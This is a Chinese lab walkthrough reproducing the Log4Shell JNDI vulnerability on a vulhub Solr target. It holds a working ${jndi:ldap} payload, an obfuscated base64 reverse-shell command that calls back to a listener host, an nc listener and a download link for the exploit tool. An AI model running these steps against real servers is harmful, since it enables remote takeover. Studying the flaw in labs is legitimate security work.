漏洞背景
Apache Log4j 2 是对 Log4j 的升级,它比其前身 Log4j 1.x 提供了显着改进,并提供了 Logback 中可用的许多改进,同时修复了 Logback 架构中的一些固有问题。
2021 年 12 月,在 Apache Log4j2 中发现了一个 0-day 漏洞。Log4j 的 JNDI 支持并没有限制可以解析的名称。一些协议像rmi:
和ldap:
是不安全的或者可以允许远程代码执行。
复现过程
首先进入vulhub靶场,找到log4j文件下的CVE-2021-44228后启动环境
启动成功后进入环境:ip:8983
进入后去寻找注入点可参考dnslog.cn,这里不再多说。
找到方向之后,下面讲一下反弹shell的过程
利用到github上的一个JNDI注入工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar构造payload
工具链接:https://pan.baidu.com/s/1L1z3LpTBMtb7VzEVyfaLqg?pwd=75vt
提取码:75vt
启用工具构建payload
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk2LjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}” -A “ip地址”
这里解释一下bash -C后面的命令需要进行base64编码加密,IP为反弹shell 的地址和端口,这里是6666端口
执行之后会看到熟悉的rmi和idap,利用工具生成了恶意的命令和url
下面到环境里执行恶意代码
ip:/solr/admin/cores?action=${jndi:ldap://ip:1389/i6ik5y}
发现成功重定向恶意类地址
另起一个终端监听端口
nc -lvvp 6666
此时会成功反弹shell,然后执行whoami
复现成功
也可能会因为靶场和环境问题,监听不到反弹shell,此时换其他靶场即可,比如封神台等等